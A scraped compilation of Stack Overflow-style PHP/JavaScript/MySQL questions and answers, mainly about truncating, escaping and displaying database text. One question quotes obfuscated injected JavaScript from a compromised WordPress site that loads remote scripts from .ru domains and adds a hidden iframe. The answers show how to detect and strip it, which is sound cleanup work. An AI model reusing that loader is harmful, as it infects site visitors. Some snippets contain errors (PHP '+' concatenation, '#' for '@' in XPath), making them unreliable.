Reduce string length retrieved from database - javascript

I am fetching rows with title & its description from MySQL database.
I want to alter the strings that I got from the database.
<div class="title"><?php $row['title']?></div>
<div class="details"><?php $row['desc']?></div>
So please tell me, how to apply javascript to this content ($row['..'])? Means, how I can access those strings in Javascript?
If the string length is more than 50 characters, I want to limit the string & add dots (...) to it.

It is better to use mb_substr() than substr()
<?php
echo mb_substr($row['title'],0,50);
Source

You can do this using substr.
<?php echo (strlen($row['desc']) > 50) ? substr ($row['desc'] , 0, 50 ).'...' : $row['desc']; ?>

Why do that? Html has a css for that. you can fix the width and add the "text-overflow:ellipsis".
Try this:
<div class="fixedWidth title"><?php $row['title']?></div>
<div class="fixedWidth details"><?php $row['desc']?></div>
<style>
.fixedWidth{
width:200px;
white-space: nowrap;
overflow: hidden;
text-overflow:ellipsis;
}
</style>

If you are working with non-ASCII strings and you want to manipulate those then substr() is wrong to use. Instead you should use multibyte string functions, like mb_substr() and others.
For that you must have mbstring-extension enabled for PHP. see http://php.net/manual/en/mbstring.installation.php
I would also not directly echo string for using javascript - you never know what chars could be there and then you should start to escape some chars to work properly with javascript.
Instead I would encourage you to use json_encode. This will escape properly all special and UTF8-chars.
PECL's json-extension must be enabled for json_* functions. See http://php.net/manual/en/json.installation.php
Of course if you are using Zend-framework, then proper would be use Zend_Json::encode()
<?php
$maxLength = 50;
$encoding = 'UTF-8';
$tail = ' ...';
$row['desc'] = (mb_strlen($row['desc'], $encoding) > $maxLength) ? mb_substr($row['desc'], 0, $maxLength, $encoding) . $tail : $row['desc'];
?>
<script type="text/javascript">
var rowData = <?php echo json_encode($row); ?>;
alert(rowData.desc);
</script>

why don't you try in directly php scripting insted of javascript.
you can make it as below.
<div class="title"><?php echo $title = strlen($row['title']) > 50 ? substr($row['title'], 0, 50)."..." : $row['title']; ?></div>
Then you can get the title in javascript as well.
$(document).ready(function(){
var title = $(".title").text();
});

Related

Formatting PHP text for use in Javascript variable

I am having a tough time covering all areas with special chars that could possibly break the variable in JavaScript. So for context I am pulling information from a database and then echoing it to JavaScript variable that will display the data which is text that has been entered by a user and stored to the table.
The php variable is $letter see the code below that I used to try to keep it from breaking
$letter = $order["letter"];
$letter = str_replace("'", "\'", $letter);
$letter = str_replace("\"", "\"", $letter);
$letter = str_replace("\r\n", "\\n",$letter);
Below is the line of code where I attempt to decode it so that it will display in an html format
$(".fa-eye").click(function () {
//clear pager html
$(".pager").html('');
$("#text-pager").html('<p class="text-left prevdescription"></p>');
//clear pager html
var parentTd = $(this).parent().parent('td');
var letterContent = parentTd.find('#letterTxt').val();
var pagerHtml = '<p class="controls"><a class="tp-control-arrow-left unactive"><span><</span></a><a class="tp-control-arrow-right"><span>></span></a><ul class="pager"></ul></p>';
$(".prevdescription").html(letterContent.replace(/\r?\n/g, '<br/>'));
It produces the output in the image below...what am I missing?
You may write me down in history\nWith your bitter, twisted lies,\nYou may tread me in the very dirt\nBut still, like dust, I\ ............. This is what it outputs. not showing all of the content.
Use json_encode(), it converts a PHP value to the equivalent JavaScript literal.
<script>
var letter = <?php echo json_encode($order['letter']); ?>;
</script>

Hide number in div if it = 0

I have some problem with this code and don't know how to fix it.
<?$result_bandeau_new_TOP_M = mysql_query("SELECT count(customers_id) from tbl_customers WHERE goods='Swimwear' and model='Bandeau'");?>
<p><span class="fon-assort">S : <?php echo mysql_result($result_bandeau_new_TOP_S, 0);?> </span></p>
I want to hide span with numeric value = 0.
This JavaScript code is not working and I don't know why
$function isItANumber() {var increased = parseInt($(".fon-assort").text());
if(isNaN(increased) || increased <= 0) {$(".fon-assort").hide();
}
}
isItANumber();
Maybe i can do this by php, but i don't know how, so.. i try to do this by Query.
There are lots of issues with the code you posted, but the change to the second line that makes the difference you want should be something like:
<?php
$count = mysql_result($result_bandeau_new_TOP_S, 0);
if( $count != 0) {
echo '<p><span class="fon-assort">S : <a href="somelink">' +
$count
+'</a></span></p>';
}
?>
And if combining with the existing first line, you don't need the
?>
<?php
In general you should stop using the deprecated mysql_* syntax. Use mysqli_* or PDO instead. See comparison here.
in my opinion you should hide span using php.
so your code should look like:
<?php
$result_bandeau_new_TOP_M = mysql_query("SELECT count(customers_id) from tbl_customers WHERE goods='Swimwear' and model='Bandeau'");
$data = mysql_result($result_bandeau_new_TOP_S, 0);
?>
<p>
<?php if ($data!=0): ?>
<span class="fon-assort">S : <?=$data;?> </span>
<?php endif; ?>
</p>
You can use jQuery specific selectors. By using the > you are saying, every element under the .fon-assort is what I want.
Then, you loop through each seperate item, get the text value as a number with parseInt, and do a typesafe check with === if it equals 0, if so, hide the parent .fon-assort element
Also, I suggest you don't use the mysql_xxxx functions, but learn mysqli or pdo and use prepared statements for your queries. the mysl_xxx queries are depricated. that means they will vanish at some point because they are obsolete, and usage is strongly advised against.
$('.fon-assort > a').each(function(index,elem) {
var $this = $(elem);
if(parseInt($this.text().trim()) === 0) {
$this.closest('.fon-assort').hide();
}
});
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<p><span class="fon-assort">S : 0</span></p>
<p><span class="fon-assort">S : 4</span></p>
<p><span class="fon-assort">S : 2</span></p>
<p><span class="fon-assort">S : 0</span></p>

How to display text saved in DB, properly in HTML?

I am creating an application using PHP and MySQL.
In the DB, the data is saved in the following manner:
But, while displaying the result in HTML page, the result comes like this:
The issue might be because HTML needs tags like "<br/>", etc......
How can I display the result in actual format?
Here's the code section displaying the data:
<div class="com-text">
<?php echo $row['chatDesc'];?>
</div>
EDIT:
Also, I need to display the data by creating a div using jquery(dynamically). So how to display it in javascript format too?
html += '<div class="com-text">'+data.chat[i].chatDesc+'</div>';
$("#chat_list").append(html);
Use the below simple CSS
.com-text{
white-space: pre-wrap;
word-wrap: break-word;
}
You should use nl2br which inserts line breaks where newlines occur in a string
the javascript equivement of this function + your code:
function nl2br (str, is_xhtml) {
var breakTag = (is_xhtml || typeof is_xhtml === 'undefined') ? '<br />' :
'<br>';
return (str + '').replace(/([^>\r\n]?)(\r\n|\n\r|\r|\n)/g, '$1'+ breakTag +'$2');
}
html += '<div class="com-text">'+nl2br(data.chat[i].chatDesc, true)+'</div>';
$("#chat_list").append(html);
You can try this.
<div class="com-text">
<pre> <?php echo $row['chatDesc'];?> </pre>
</div>
$orig = "I'll \"walk\" the dog now";
$a = htmlentities($orig);
$b = html_entity_decode($a);
You should use nl2br which inserts line breaks where newlines occur in a string
<div class="com-text">
<?php echo nl2br($row['chatDesc']);?>
</div>
Just use the nl2br() function to format it:
<?php
$mychat = nl2br($row['chatDesc']);
?>
Here is how you can do..
<div class="com-text">
<?php echo $mychat; ?>
</div>
use nl2br();
<div class="com-text">
<?php echo nl2br($row['chatDesc']) ;?>
</div>

Filter malware javascript from Wordpress database

I have some problem with embbded malicious code in the worpdress posts. It looks like :
<script>// <![CDATA[
window.a1336404323 = 1;!function(){var o=JSON.parse('["6277393576706a64612e7275","616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="10709",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("example.com")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
// ]]></script><iframe id="a1996667054" style="display: none;" src="https://bw95vpjda.ru/f.html"></iframe>
And I need to remove it directly from wp_posts.post_content table.
I suppose i need to perform some regular expression to select it from post_content row and replace it with mysql REPLACE function. I suppose i can do it with phpmyadmin or can write some phpcode to perform this action, but i still need this regular expression to select javascript code from database!
Ty in advance!
Since you are using a PHP script, you can try using PHP DOMDocument and DOMXPath to get all occurrences of the malicious <script> and <iframe> nodes. Just use corresponding XPath to get the right tags with content, and remove the whole children from the DOM:
$str = "<<YOUR HTML STRING>>";
$dom = new DOMDocument;
#$dom->loadHTML($str, LIBXML_HTML_NOIMPLIED|LIBXML_HTML_NODEFDTD);
// OR #$dom->load($str);
$xp = new DOMXPath($dom);
$mal_scripts = $xp->query('//script[contains(text(), "window.a1336404323")]');
$mal_iframes = $xp->query('//iframe[#id="a1996667054"]');
foreach ($mal_scripts as $mal_script) {
$mal_script->parentNode->removeChild($mal_script);
}
foreach ($mal_iframes as $mal_iframe) {
$mal_iframe->parentNode->removeChild($mal_iframe);
}
echo #$dom->saveHTML();
See IDEONE demo
The regex to match the strings containing the malicious code can be similar to
<script>\s*\/\/\s*<!\[CDATA\[\s*window\.a1336404323[\s\S*]*?<\/script>\s*<iframe id="a1996667054"[^<>]*><\/iframe>
Adjust as per your needs.

display 125 words from the description field of the database mysql

Hello fellow Overflows,
So im in the middle of creating a toplist script, ready to launch to the public,
I'm stuck on one perticualr subject.
Displaying X amount of content from A database field.
<?php echo $server_data['description']; ?>
As you can see in this image below, That wouldn't be a good idea to display the full amount.
http://i.imgur.com/IhLs7L7.png
What do i need?
Instead of it displaying all of the database field, i just want it to display 150 characters of the field.
It is best to limit characters while you are selecting from database because it will improve performance a bit. You can limit characters on select with mysql LEFT() function.
Here is how to do it:
SELECT LEFT(description, 150), another_col FROM ......
Try this:
$string = substr($server_data['description'], 0, 150);
substr() will only return a certain amount of characters. If you want a certain amount of words then you could use the following:
<?php
function excerpt($content = '',$number_words = 125){
$content = strip_tags($content);
$contentWords = substr_count($content," ") + 1;
$words = explode(" ",$content,($number_words+1));
$excerpt = join(" ",$words);
return $excerpt;
}
echo excerpt($server_data['description'], 125);

Categories

Resources